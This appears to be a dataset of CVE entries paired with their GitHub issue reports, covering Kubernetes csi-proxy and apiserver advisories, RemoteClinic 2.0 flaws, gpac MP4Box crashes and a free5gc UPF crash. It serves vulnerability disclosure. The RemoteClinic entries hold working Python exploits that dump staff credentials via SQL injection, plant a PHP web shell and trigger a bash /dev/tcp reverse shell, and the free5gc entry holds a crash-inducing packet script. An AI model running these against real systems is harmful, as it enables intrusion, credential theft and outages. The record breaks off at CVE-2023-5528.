CVSS Rating: [CVSS:3.1/av:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) - **HIGH** (8.8) A security issue was discovered in Kubernetes where a user that can create pods on Windows nodes running kubernetes-csi-proxy may be able to escalate to admin privileges on those nodes. Kubernetes clusters are only affected if they include Windows nodes running kubernetes-csi-proxy. ### Am I vulnerable? Any kubernetes environment with Windows nodes that are running kubernetes-csi-proxy is impacted. This is a common default configuration on Windows nodes. Run `kubectl get nodes -l kubernetes.io/os=windows` to see if any Windows nodes are in use. #### Affected Versions - kubernetes-csi-proxy <= v2.0.0-alpha.0 - kubernetes-csi-proxy <= v1.1.2 ### How do I mitigate this vulnerability? The provided patch fully mitigates the vulnerability and has no known side effects. Full mitigation for this class of issues requires patches applied for CVE-2023-3676, CVE-2023-3955, and CVE-2023-3893. Outside of applying the provided patch, there are no known mitigations to this vulnerability. #### Fixed Versions - kubernetes-csi-proxy master - fixed by https://github.com/kubernetes-csi/csi-proxy/pull/306 - kubernetes-csi-proxy v2.0.0-alpha.1 - fixed by https://github.com/kubernetes-csi/csi-proxy/pull/307 - kubernetes-csi-proxy v1.1.3 - fixed by https://github.com/kubernetes-csi/csi-proxy/pull/306 To upgrade: cordon the node, stop the associated Windows service, replace the csi-proxy.exe binary, restart the associated Windows service, and un-cordon the node. See the installation docs for more details: https://github.com/kubernetes-csi/csi-proxy#installation If a Windows host process daemon set is used to run kubernetes-csi-proxy such as https://github.com/kubernetes-csi/csi-driver-smb/blob/master/charts/latest/csi-driver-smb/templates/csi-proxy-windows.yaml, simply upgrade the image to a fixed version such as ghcr.io/kubernetes-sigs/sig-windows/csi-proxy:v1.1.3 ### Detection Kubernetes audit logs can be used to detect if this vulnerability is being exploited. Pod create events with embedded powershell commands are a strong indication of exploitation. If you find evidence that this vulnerability has been exploited, please contact security@kubernetes.io #### Acknowledgements This vulnerability was discovered by James Sturtevant @jsturtevant and Mark Rossetti @marosset during the process of fixing CVE-2023-3676 (that original CVE was reported by Tomer Peled @tomerpeled92) The issue was fixed and coordinated by the fix team: James Sturtevant @jsturtevant Mark Rossetti @marosset Andy Zhang @andyzhangx Justin Terry @jterry75 Kulwant Singh @KlwntSingh Micah Hausler @micahhausler Rita Zhang @ritazh and release managers: Mauricio Poppe @mauriciopoppe

CVE-2023-3893: Insufficient input sanitization on kubernetes-csi-proxy leads to privilege escalation

https://api.github.com/repos/kubernetes/kubernetes/issues/119594/comments

2023-07-26T15:30:26Z

2023-11-04T16:10:06Z

https://github.com/kubernetes/kubernetes/issues/119594

CVE-2022-3172

2023-11-03T20:15:08.550

A security issue was discovered in kube-apiserver that allows an aggregated API server to redirect client traffic to any URL. This could lead to the client performing unexpected actions as well as forwarding the client's API server credentials to third parties.

https://github.com/kubernetes/kubernetes/issues/112513

github.com

CVSS Rating: [CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:L/A:L](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:L/I:L/A:L) (5.1, medium) A security issue was discovered in kube-apiserver that allows an aggregated API server to redirect client traffic to any URL. This could lead to the client performing unexpected actions as well as forwarding the client's API server credentials to third parties. This issue has been rated medium and assigned CVE-2022-3172 ### Am I vulnerable? All Kubernetes clusters with the following versions that are running aggregated API servers are impacted. To identify if you have aggregated API servers configured, run the following command: ```shell kubectl get apiservices.apiregistration.k8s.io -o=jsonpath='{range .items[?(@.spec.service)]}{.metadata.name}{"\n"}{end}' ``` #### Affected Versions - kube-apiserver v1.25.0 - kube-apiserver v1.24.0 - v1.24.4 - kube-apiserver v1.23.0 - v1.23.10 - kube-apiserver v1.22.0 - v1.22.13 - kube-apiserver <= v1.21.14 ### How do I mitigate this vulnerability? Aside from upgrading, no direct mitigation is available. Aggregated API servers are a trusted part of the Kubernetes control plane, and configuring them is a privileged administrative operation. Ensure that only trusted cluster administrators are allowed to create or modify `APIService` configuration, and follow security best practices with any aggregated API servers that may be in use. #### Fixed Versions - kube-apiserver v1.25.1 - fixed by #112330 - kube-apiserver v1.24.5 - fixed by #112331 - kube-apiserver v1.23.11 - fixed by #112358 - kube-apiserver v1.22.14 - fixed by #112359 **Fix impact:** The fix blocks all 3XX responses from aggregated API servers by default. This may disrupt an aggregated API server that relies on redirects as part of its normal function. If all current and future aggregated API servers are considered trustworthy and redirect functionality is required, set the `--aggregator-reject-forwarding-redirect` Kubernetes API server flag to `false` to restore the previous behavior. To upgrade, refer to the documentation: https://kubernetes.io/docs/tasks/administer-cluster/cluster-upgrade ### Detection Kubernetes audit log events indicate the HTTP status code sent to the client via the `responseStatus.code` field. This can be used to detect if an aggregated API server is redirecting clients. If you find evidence that this vulnerability has been exploited, please contact security@kubernetes.io #### Acknowledgements This vulnerability was reported by Nicolas Joly & Weinong Wang @weinong from Microsoft. The issue was fixed and coordinated by Di Jin @jindijamie @enj @liggitt @lavalamp @deads2k and @puerco. /area security /kind bug /committee security-response /label official-cve-feed /sig api-machinery /area apiserver /triage accepted

CVE-2022-3172: Aggregated API server can cause clients to be redirected (SSRF)

https://api.github.com/repos/kubernetes/kubernetes/issues/112513/comments

2022-09-16T13:14:50Z

2022-11-10T03:57:00Z

https://github.com/kubernetes/kubernetes/issues/112513

CVE-2023-33478

2023-11-07T15:15:10.630

RemoteClinic 2.0 has a SQL injection vulnerability in the ID parameter of /medicines/stocks.php.

https://github.com/remoteclinic/RemoteClinic/issues/22

github.com

### Vulnerable code: [Line 51 in stocks.php](https://github.com/remoteclinic/RemoteClinic/blob/master/medicines/stocks.php#L51) ```php $sql=mysqli_query($con, "select * from p_stock where branch='$id' order by code asc limit 20000")or die(mysqli_error()); ``` User data flows into this manually-constructed SQL string, leading to SQL injection. Instead, prepared statements or a safe library should be used. ### Steps to reproduce / PoC: ```Python import requests import json DELIMITER = "n0kovo :)" DELIMITER_HEX = f"0x{DELIMITER.encode('ascii').hex()}" def send_payload(payload): response = requests.get( "http://localhost/medicines/stocks.php", params=payload, cookies={"PHPSESSID": "f90qm9tq0e6r1idq9tft76f16g"}, ) return response.text def main(): get_dbs_payload = { "id": f"1' UNION ALL SELECT CONCAT({DELIMITER_HEX},JSON_ARRAYAGG(CONCAT_WS({DELIMITER_HEX},schema_name)),{DELIMITER_HEX}),NULL,NULL,NULL,NULL,NULL,NULL FROM INFORMATION_SCHEMA.SCHEMATA-- -" } dbs = json.loads(send_payload(get_dbs_payload).split(DELIMITER)[1]) dbs = [db for db in dbs if db != "information_schema"] for db in dbs: get_users_payload = { "id": f"1' UNION ALL SELECT NULL,NULL,NULL,CONCAT({DELIMITER_HEX},JSON_ARRAYAGG(CONCAT_WS({DELIMITER_HEX},userid,passkey)),{DELIMITER_HEX}),NULL,NULL,NULL FROM {db}.p_staff_dir-- -" } response = send_payload(get_users_payload) if DELIMITER in response: users = '", "'.join(response.split(DELIMITER)[1:-1]) users = json.loads(users) users = zip(users[0::2], users[1::2]) for user in users: output_str = f"{user[0]:<{20}}= {user[1]}" print(output_str) if __name__ == "__main__": main() ```

SQL injection vulnerability in `id` parameter of `/medicines/stocks.php`

https://api.github.com/repos/remoteclinic/RemoteClinic/issues/22/comments

2023-05-05T12:17:42Z

2023-11-09T15:25:43Z

https://github.com/remoteclinic/RemoteClinic/issues/22

CVE-2023-33479

2023-11-07T15:15:10.690

RemoteClinic version 2.0 contains a SQL injection vulnerability in the /staff/edit.php file.

https://github.com/remoteclinic/RemoteClinic/issues/23

github.com

### Vulnerable code: [Line 62 in staff/edit.php](https://github.com/remoteclinic/RemoteClinic/blob/master/staff/edit.php#L62) ```php $profile=mysqli_fetch_object(mysqli_query($con, "select * from p_staff_dir where id='$id'")) ``` User data flows into this manually-constructed SQL string, leading to SQL injection. Instead, prepared statements or a safe library should be used. ### Steps to reproduce / PoC: ```Python import requests import json DELIMITER = "n0kovo :)" DELIMITER_HEX = f"0x{DELIMITER.encode('ascii').hex()}" def send_payload(payload): response = requests.get( "http://loocalhost/staff/edit.php", params=payload, cookies={"PHPSESSID": "h8c0op06m61jsk5357q6c0e1h0"}, ) return response.text def main(): get_dbs_payload = { "id": f"-1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT({DELIMITER_HEX},JSON_ARRAYAGG(CONCAT_WS({DELIMITER_HEX},schema_name)),{DELIMITER_HEX}),NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM INFORMATION_SCHEMA.SCHEMATA-- -" } dbs = json.loads(send_payload(get_dbs_payload).split(DELIMITER)[1]) dbs = [db for db in dbs if db != "information_schema"] for db in dbs: get_users_payload = { "id": f"-1' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT({DELIMITER_HEX},JSON_ARRAYAGG(CONCAT_WS({DELIMITER_HEX},userid,passkey)),{DELIMITER_HEX}),NULL,NULL,NULL,NULL,NULL,NULL,NULL FROM remoteclinic.p_staff_dir-- -" } response = send_payload(get_users_payload) if DELIMITER in response: users = '", "'.join(response.split(DELIMITER)[1:-1]).split('", ""')[0] users = json.loads(users) users = zip(users[0::2], users[1::2]) for user in users: output_str = f"{user[0]:<{20}}= {user[1]}" print(output_str) if __name__ == "__main__": main() ```

SQL injection vulnerability in `id` parameter of `/staff/edit.php`

https://api.github.com/repos/remoteclinic/RemoteClinic/issues/23/comments

2023-05-05T12:49:47Z

2023-11-09T15:24:25Z

https://github.com/remoteclinic/RemoteClinic/issues/23

CVE-2023-33480

2023-11-07T15:15:10.743

RemoteClinic 2.0 contains a critical vulnerability chain that can be exploited by a remote attacker with low-privileged user credentials to create admin users, escalate privileges, and execute arbitrary code on the target system via a PHP shell. The vulnerabilities are caused by a lack of input validation and access control in the staff/register.php endpoint and the edit-my-profile.php page. By sending a series of specially crafted requests to the RemoteClinic application, an attacker can create admin users with more privileges than their own, upload a PHP file containing arbitrary code, and execute arbitrary commands via the PHP shell.

https://github.com/remoteclinic/RemoteClinic/issues/24

github.com

## Vulnerability chain in RemoteClinic application ### Vulnerability description The RemoteClinic application contains a critical vulnerability chain that can be exploited by a remote attacker with low-privileged user credentials to create admin users, escalate privileges, and execute arbitrary code on the target system via a PHP shell. The vulnerabilities are caused by a lack of input validation and access control in the `staff/register.php` endpoint and the `edit-my-profile.php` page. By sending a series of specially crafted requests to the RemoteClinic application, an attacker can create admin users with more privileges than their own, upload a PHP file containing arbitrary code, and execute arbitrary commands via the PHP shell. This can potentially lead to data theft, system disruption, or other malicious activities. ### Steps to reproduce / PoC ```Python import requests from bs4 import BeautifulSoup from pwn import * import argparse from urllib.parse import quote s = requests.Session() parser = argparse.ArgumentParser() parser.add_argument("target_url", help="Target URL") parser.add_argument("userid", help="Low-privileged user ID") parser.add_argument("password", help="Low-privileged user password") parser.add_argument("lhost", help="Local IP for reverse shell") parser.add_argument("lport", type=int, help="Local port for reverse shell") args = parser.parse_args() TARGET_URL = args.target_url USERID = args.userid PASSWORD = args.password LHOST = args.lhost LPORT = args.lport def get_csrf_token(): response = s.get(f"{TARGET_URL}/login/") soup = BeautifulSoup(response.text, "html.parser") csrf_token = soup.find_all("input", {"name": "extra_key"})[0]["value"] return csrf_token def login(userid, password): data = { "user_id": userid, "password": password, "extra_key": get_csrf_token(), "submit": "Login", } response = s.post(f"{TARGET_URL}/login/process.php", data=data) def create_admin(): data = { "first_name": "n0kovo", "last_name": ":)", "userid": "n0kovo@cia.gov", "passkey": "n0kovo", "contact": "0", "access_level": "6", "status": "active", "branch": "13", "image": "", "submit": "Register", } response = s.post(f"{TARGET_URL}/staff/register.php", data=data) def get_reg_id(): response = s.get(f"{TARGET_URL}/staff/my-profile.php") soup = BeautifulSoup(response.text, "html.parser") table_rows = soup.find_all("tr") for row in table_rows: cells = row.find_all("td") if cells[0].text == "Registration ID:": registration_id = int(cells[1].text) return registration_id def upload_shell(): payload = f"<?=`$_GET[0]`?>" data = { "first_name": "n0kovo", "last_name": ":)", "passkey": "", "contact": "0", "submit": "Update", } files = {"image": ("sup.php", payload, "text/php")} s.post( f"{TARGET_URL}/staff/edit-my-profile.php", data=data, files=files, verify=False, proxies={"http": "http://127.0.0.1:8080"}, ) def execute_cmd(registration_id, command): url_encoded_cmd = quote(command, safe="") try: response = s.get( f"{TARGET_URL}/uploads/staff/{registration_id}.php?0={url_encoded_cmd}", timeout=2, ) print(response.text) except requests.exceptions.ReadTimeout: pass def start_listener(port): listener = listen(port) return listener def get_shell(listener): connection = listener.wait_for_connection() log.success("Connection received! Enjoy your shell :)") print() connection.interactive() def exploit(): log.warn(f"Running exploit against {TARGET_URL}...") log.info("Logging in as low-privileged user...") login(USERID, PASSWORD) log.info("Creating admin user...") create_admin() log.info("Escalating privileges...") s.cookies.clear() login("n0kovo@cia.gov", "n0kovo") registration_id = get_reg_id() log.info("Uploading shell...") upload_shell() log.info("Starting listener...") listener = start_listener(LPORT) log.info("Triggering RCE...") log.info(f"URL: {TARGET_URL}/uploads/staff/{registration_id}.php") execute_cmd(registration_id, f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'") get_shell(listener) if __name__ == "__main__": exploit() ```

Privilege escalation and arbitrary file upload vulnerability leading to Remote Code Execution

https://api.github.com/repos/remoteclinic/RemoteClinic/issues/24/comments

2023-05-06T03:16:43Z

2023-11-09T15:20:47Z

https://github.com/remoteclinic/RemoteClinic/issues/24

CVE-2023-33481

2023-11-07T15:15:10.793

RemoteClinic 2.0 is vulnerable to a time-based blind SQL injection attack in the 'start' GET parameter of patients/index.php.

https://github.com/remoteclinic/RemoteClinic/issues/25

github.com

## Description The web application is vulnerable to a time-based blind SQL injection attack in the 'start' GET parameter of `patients/index.php`. An attacker can inject malicious SQL statements into the application, causing it to respond with a time-delayed response that indicates the vulnerability. Exploiting this vulnerability can allow an attacker to extract sensitive data or perform unauthorized actions on the underlying database. ## Steps to Reproduce 1. Send a specially crafted HTTP GET request to the affected web application, either manually or using a tool such as SQLMAP. 2. Observe that the application responds with a time-delayed response, indicating that the 'start' parameter is vulnerable to time-based blind SQL injection attacks. ## Mitigation To mitigate this vulnerability, the developers of the application should implement proper input validation and parameter sanitization to prevent SQL injection attacks. Additionally, they should consider using parameterized queries or stored procedures to further reduce the risk of SQL injection vulnerabilities.

SQL injection vulnerability in the 'start' GET parameter of `patients/index.php`

https://api.github.com/repos/remoteclinic/RemoteClinic/issues/25/comments

2023-05-06T03:48:39Z

2023-11-09T15:21:52Z

https://github.com/remoteclinic/RemoteClinic/issues/25

CVE-2023-46001

2023-11-07T22:15:11.473

Buffer Overflow vulnerability in gpac MP4Box v.2.3-DEV-rev573-g201320819-master allows a local attacker to cause a denial of service via the gpac/src/isomedia/isom_read.c:2807:51 function in gf_isom_get_user_data.

https://github.com/gpac/gpac/issues/2629

github.com

# Version ``` root@4dd48d09e778:~/gpac/bin/gcc# ./MP4Box -version MP4Box - GPAC version 2.3-DEV-rev573-g201320819-master (c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D ``` # Platform ``` root@4dd48d09e778:~/gpac/bin/gcc# uname -a Linux 4dd48d09e778 5.15.0-56-generic #62-Ubuntu SMP Tue Nov 22 19:54:14 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux ``` # Poc ``` Pocgpac:https://github.com/S0ngJX/Poc/blob/main/Pocgpac ``` # Asan ``` root@4dd48d09e778:~/gpac/bin/gcc# ./MP4Box -dash 1000 -profile live -out session.mpd Pocgpac:@reframer:sap=1 Pocgpac AddressSanitizer:DEADLYSIGNAL ================================================================= ==4066570==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x7ffff5cc2ed0 bp 0x7ffffffeaf40 sp 0x7ffffffea6d8 T0) ==4066570==The signal is caused by a READ memory access. ==4066570==Hint: address points to the zero page. #0 0x7ffff5cc2ed0 (/lib/x86_64-linux-gnu/libc.so.6+0x184ed0) #1 0x441f94 in MemcmpInterceptorCommon(void*, int (*)(void const*, void const*, unsigned long), void const*, void const*, unsigned long) (/root/gpac/bin/gcc/MP4Box+0x441f94) #2 0x44236a in bcmp (/root/gpac/bin/gcc/MP4Box+0x44236a) #3 0x7ffff681ed6d in gf_isom_get_user_data /root/gpac/src/isomedia/isom_read.c:2807:51 #4 0x7ffff71e9acb in isor_declare_track /root/gpac/src/filters/isoffin_load.c:696:5 #5 0x7ffff71fb2f6 in isor_declare_objects /root/gpac/src/filters/isoffin_load.c:1728:3 #6 0x7ffff72023e7 in isoffin_setup /root/gpac/src/filters/isoffin_read.c:181:6 #7 0x7ffff71ffb66 in isoffin_configure_pid /root/gpac/src/filters/isoffin_read.c:477:9 #8 0x7ffff6f1abed in gf_filter_pid_configure /root/gpac/src/filter_core/filter_pid.c:876:6 #9 0x7ffff6f367b6 in gf_filter_pid_connect_task /root/gpac/src/filter_core/filter_pid.c:1230:3 #10 0x7ffff6f85478 in gf_fs_thread_proc /root/gpac/src/filter_core/filter_session.c:2105:3 #11 0x7ffff6f83fed in gf_fs_run /root/gpac/src/filter_core/filter_session.c:2405:3 #12 0x7ffff69bd98c in gf_dasher_process /root/gpac/src/media_tools/dash_segmenter.c:1236:6 #13 0x50dfc7 in do_dash /root/gpac/applications/mp4box/mp4box.c:4831:15 #14 0x50dfc7 in mp4box_main /root/gpac/applications/mp4box/mp4box.c:6245:7 #15 0x7ffff5b62082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082) #16 0x42adad in _start (/root/gpac/bin/gcc/MP4Box+0x42adad) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x184ed0) ==4066570==ABORTING ``` # Reproduce ``` ./MP4Box -dash 1000 -profile live -out session.mpd Pocgpac:@reframer:sap=1 Pocgpac ``` # Credit ``` Song Jiaxuan (Huazhong University of Science and Technology) Zeng Yunxiang (Huazhong University of Science and Technology) ```

SEGV in gpac/src/isomedia/isom_read.c:2807:51 in gf_isom_get_user_data

https://api.github.com/repos/gpac/gpac/issues/2629/comments

2023-10-10T04:03:18Z

2023-10-11T10:57:17Z

https://github.com/gpac/gpac/issues/2629

CVE-2023-47346

2023-11-13T22:15:07.740

Buffer Overflow vulnerability in free5gc 3.3.0, UPF 1.2.0, and SMF 1.2.0 allows attackers to cause a denial of service via crafted PFCP messages.

https://github.com/free5gc/free5gc/issues/482

github.com

## Describe the bug While testing the free5gc UPF for some PFCP basic and security features, I could trigger several crashes when it receives special kind of PFCP messages (the secondary IE type is larger than 0x7fff). This could cause DOS of any UPF instance, all memory issues due to this kind of PFCP messages are caught by the GO memory runtime, which would casue a panic and crash. ## To Reproduce Steps to reproduce the behavior: 1. Build the UPF with source code 2. Run the bin/upf with default config/upfcfg.yaml 3. Run the following POC python script ```python #!/usr/bin/env python3 import socket udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) udp_socket.settimeout(1.0) pfcp_association_setup_request = b'\x20\x05\x00\x1f\x00\x00\x01\x00\x00\x3c\x00\x05\x00\x0a\x64\xc8\x64\x00\x60\x00\x04\xe8\x1f\xdc\x30\x00\x2b\x00\x06\x21\x00\x00\x00\x00\x00' """ PFCP Heartbeat Request with a second IE whose type is 0xffff (larger than 0x7fff) """ pfcp_heartbeat_request = b'\x20\x01\x00\x0f\x00\x00\x00\xff\xff\xff\x00\x00\x60\x00\x04\xe8\x1f\xdc\x30' udp_socket.sendto(pfcp_association_setup_request, ('127.0.0.8', 8805)) try: udp_socket.recv(65535) except Exception as exception: print(f"Receive failed: {exception}") udp_socket.sendto(pfcp_heartbeat_request, ('127.0.0.8', 8805)) try: udp_socket.recv(65535) except Exception as exception: print(f"Receive failed: {exception}") udp_socket.close() ``` ## Expected behavior Any people could leverage this to cause DOS and resource consumption against a pool of UPF. As much as possible, check this kind of PFCP messages whose second IE type is larger than 0x7ffff, update handling logic or just drop them to avoid frequent crashes. This will greatly improve the availability, stability, and security of free5gc UPF. ## Screenshots No special screenshot is provided. ## Environment (please complete the following information): - free5GC Version: v3.3.0 - OS: Ubuntu 20.04 - Kernel version: 5.4.5-050405-generic - go version: go1.21.1 linux/amd64 ## Trace File ### Configuration File No specific configuration is required. ### PCAP File No specific pcap file is provided. ### Log File ```bash time="2023-09-22T03:25:30.099608396+08:00" level="info" msg="UPF version: \n\tNot specify ldflags (which link version) during go build\n\tgo version: go1.21.1 linux/amd64" CAT="Main" NF="UPF" time="2023-09-22T03:25:30.099702825+08:00" level="info" msg="Read config from [upfcfg.yaml]" CAT="CFG" NF="UPF" time="2023-09-22T03:25:30.102422644+08:00" level="info" msg="==================================================" CAT="CFG" NF="UPF" time="2023-09-22T03:25:30.102461710+08:00" level="info" msg="(*factory.Config)(0xc0004bb0e0)({\n\tVersion: (string) (len=5) \"1.0.3\",\n\tDescription: (string) (len=31) \"UPF initial local configuration\",\n\tPfcp: (*factory.Pfcp)(0xc00042d470)({\n\t\tAddr: (string) (len=9) \"127.0.0.8\",\n\t\tNodeID: (string) (len=9) \"127.0.0.8\",\n\t\tRetransTimeout: (time.Duration) 1s,\n\t\tMaxRetrans: (uint8) 3\n\t}),\n\tGtpu: (*factory.Gtpu)(0xc00042d980)({\n\t\tForwarder: (string) (len=5) \"gtp5g\",\n\t\tIfList: ([]factory.IfInfo) (len=1 cap=1) {\n\t\t\t(factory.IfInfo) {\n\t\t\t\tAddr: (string) (len=9) \"127.0.0.8\",\n\t\t\t\tType: (string) (len=2) \"N3\",\n\t\t\t\tName: (string) \"\",\n\t\t\t\tIfName: (string) \"\",\n\t\t\t\tMTU: (uint32) 0\n\t\t\t}\n\t\t}\n\t}),\n\tDnnList: ([]factory.DnnList) (len=1 cap=1) {\n\t\t(factory.DnnList) {\n\t\t\tDnn: (string) (len=8) \"internet\",\n\t\t\tCidr: (string) (len=12) \"10.60.0.0/24\",\n\t\t\tNatIfName: (string) \"\"\n\t\t}\n\t},\n\tLogger: (*factory.Logger)(0xc000023c40)({\n\t\tEnable: (bool) true,\n\t\tLevel: (string) (len=4) \"info\",\n\t\tReportCaller: (bool) false\n\t})\n})\n" CAT="CFG" NF="UPF" time="2023-09-22T03:25:30.102518017+08:00" level="info" msg="==================================================" CAT="CFG" NF="UPF" time="2023-09-22T03:25:30.102550910+08:00" level="info" msg="Log level is set to [info]" CAT="Main" NF="UPF" time="2023-09-22T03:25:30.102559413+08:00" level="info" msg="Report Caller is set to [false]" CAT="Main" NF="UPF" time="2023-09-22T03:25:30.114437499+08:00" level="info" msg="starting Gtpu Forwarder [gtp5g]" CAT="Main" NF="UPF" time="2023-09-22T03:25:30.114705992+08:00" level="info" msg="GTP Address: \"127.0.0.8:2152\"" CAT="Main" NF="UPF" time="2023-09-22T03:25:30.133751688+08:00" level="info" msg="buff netlink server started" CAT="BUFF" NF="UPF" time="2023-09-22T03:25:30.133860807+08:00" level="info" msg="perio server started" CAT="Perio" NF="UPF" time="2023-09-22T03:25:30.133875168+08:00" level="info" msg="Forwarder started" CAT="Gtp5g" NF="UPF" time="2023-09-22T03:25:30.135060078+08:00" level="info" msg="starting pfcp server" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF" time="2023-09-22T03:25:30.135468767+08:00" level="info" msg="pfcp server started" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF" time="2023-09-22T03:25:30.135481293+08:00" level="info" msg="UPF started" CAT="Main" NF="UPF" time="2023-09-22T03:25:44.317661998+08:00" level="info" msg="handleAssociationSetupRequest" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF" time="2023-09-22T03:25:44.317826268+08:00" level="info" msg="New node" CAT="PFCP" CPNodeID="10.100.200.100" LAddr="127.0.0.8:8805" NF="UPF" time="2023-09-22T03:25:44.318770003+08:00" level="fatal" msg="panic: runtime error: slice bounds out of range [7:5]\ngoroutine 17 [running]:\nruntime/debug.Stack()\n\t/snap/go/10339/src/runtime/debug/stack.go:24 +0x5e\ngithub.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main.func1()\n\t/home/lee/Desktop/free5gc/NFs/upf/internal/pfcp/pfcp.go:86 +0x4a\npanic({0x84f480?, 0xc0001c0150?})\n\t/snap/go/10339/src/runtime/panic.go:914 +0x21f\ngithub.com/wmnsk/go-pfcp/ie.ParseMultiIEs({0xc0001c0140?, 0xc0001c0138?, 0x7f29fbf11548?})\n\t/home/lee/go/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/ie/ie.go:637 +0x185\ngithub.com/wmnsk/go-pfcp/message.(*HeartbeatRequest).UnmarshalBinary(0xc000182630, {0xc0001c0138, 0x15, 0x15})\n\t/home/lee/go/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/message/heartbeat-request.go:101 +0xb3\ngithub.com/wmnsk/go-pfcp/message.Parse({0xc0001c0138, 0x15, 0x15})\n\t/home/lee/go/pkg/mod/github.com/wmnsk/go-pfcp@v0.0.17-0.20221027122420-36112307f93a/message/message.go:117 +0x325\ngithub.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).main(0xc0001de0d0, 0xc0001d60d0)\n\t/home/lee/Desktop/free5gc/NFs/upf/internal/pfcp/pfcp.go:125 +0x48b\ncreated by github.com/free5gc/go-upf/internal/pfcp.(*PfcpServer).Start in goroutine 1\n\t/home/lee/Desktop/free5gc/NFs/upf/internal/pfcp/pfcp.go:222 +0xb8\n" CAT="PFCP" LAddr="127.0.0.8:8805" NF="UPF" ```

[Bugs] UPF crash caused by PFCP messages whose 2rd IE type larger than 0x7fff

https://api.github.com/repos/free5gc/free5gc/issues/482/comments

2023-09-22T02:57:53Z

2023-11-02T04:51:21Z

https://github.com/free5gc/free5gc/issues/482

CVE-2023-47384

2023-11-14T20:15:08.417

MP4Box GPAC v2.3-DEV-rev617-g671976fcc-master was discovered to contain a memory leak in the function gf_isom_add_chapter at /isomedia/isom_write.c. This vulnerability allows attackers to cause a Denial of Service (DoS) via a crafted MP4 file.

https://github.com/gpac/gpac/issues/2672

github.com

1、Version ./MP4Box -version MP4Box - GPAC version 2.3-DEV-rev617-g671976fcc-master (c) 2000-2023 Telecom Paris distributed under LGPL v2.1+ - http://gpac.io Please cite our work in your research: GPAC Filters: https://doi.org/10.1145/3339825.3394929 GPAC: https://doi.org/10.1145/1291233.1291452 GPAC Configuration: Features: GPAC_CONFIG_LINUX GPAC_64_BITS GPAC_HAS_IPV6 GPAC_HAS_SSL GPAC_HAS_SOCK_UN GPAC_MINIMAL_ODF GPAC_HAS_QJS GPAC_HAS_JPEG GPAC_HAS_PNG GPAC_HAS_LINUX_DVB GPAC_DISABLE_3D 2、ASAN Log [Dasher] No template assigned, using $File$_dash$FS$$Number$ [IsoMedia] Failed to fetch initial sample 1 for track 1 [IsoMedia] Failed to fetch initial sample 1 for track 1 AddressSanitizer:DEADLYSIGNAL ================================================================= ==3416==ERROR: AddressSanitizer: SEGV on unknown address (pc 0x7f340d3b22bc bp 0x7fff33ecd7f0 sp 0x7fff33eccf78 T0) ==3416==The signal is caused by a READ memory access. ==3416==Hint: this fault was caused by a dereference of a high value address (see register values below). Dissassemble the provided pc to learn which register was used. #0 0x7f340d3b22bc (/lib/x86_64-linux-gnu/libc.so.6+0x1b22bc) #1 0x7f340f85b8ce in __interceptor_strdup ../../../../src/libsanitizer/asan/asan_interceptors.cpp:450 #2 0x7f340e473095 in gf_isom_add_chapter isomedia/isom_write.c:3182 #3 0x7f340ee901db in mp4_mux_setup_pid filters/mux_isom.c:3763 #4 0x7f340eb04d02 in gf_filter_pid_configure filter_core/filter_pid.c:876 #5 0x7f340eb09a3c in gf_filter_pid_connect_task filter_core/filter_pid.c:1230 #6 0x7f340eb4642f in gf_fs_thread_proc filter_core/filter_session.c:2105 #7 0x7f340eb4d74e in gf_fs_run filter_core/filter_session.c:2405 #8 0x7f340e5b8626 in gf_dasher_process media_tools/dash_segmenter.c:1236 #9 0x560c71d604d9 in do_dash /home/returnzero/gpac/applications/mp4box/mp4box.c:4831 #10 0x560c71d604d9 in mp4box_main /home/returnzero/gpac/applications/mp4box/mp4box.c:6245 #11 0x7f340d229d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #12 0x7f340d229e3f in __libc_start_main_impl ../csu/libc-start.c:392 #13 0x560c71cf6214 in _start (/home/returnzero/gpac/bin/gcc/MP4Box+0x4e214) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0x1b22bc) ==3416==ABORTING 3、Reproduction ./MP4Box -dash 10000 $poc 4、poc [crash65.zip](https://github.com/gpac/gpac/files/13225281/crash65.zip) 5、Impact This vulnerability is capable of causing crashes, or lead to dos. 6、 Env Linux returnzero-virtual-machine 6.2.0-36-generic #37~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 9 15:34:04 UTC 2 x86_64 x86_64 x86_64 GNU/Linux AFL++ 4.09a 7、Credit ReturnZero

Memory Leak in gf_isom_add_chapter isomedia/isom_write.c:3182

https://api.github.com/repos/gpac/gpac/issues/2672/comments

2023-11-01T09:16:33Z

2023-12-04T10:07:48Z

https://github.com/gpac/gpac/issues/2672

CVE-2023-5528

2023-11-14T21:15:14.123

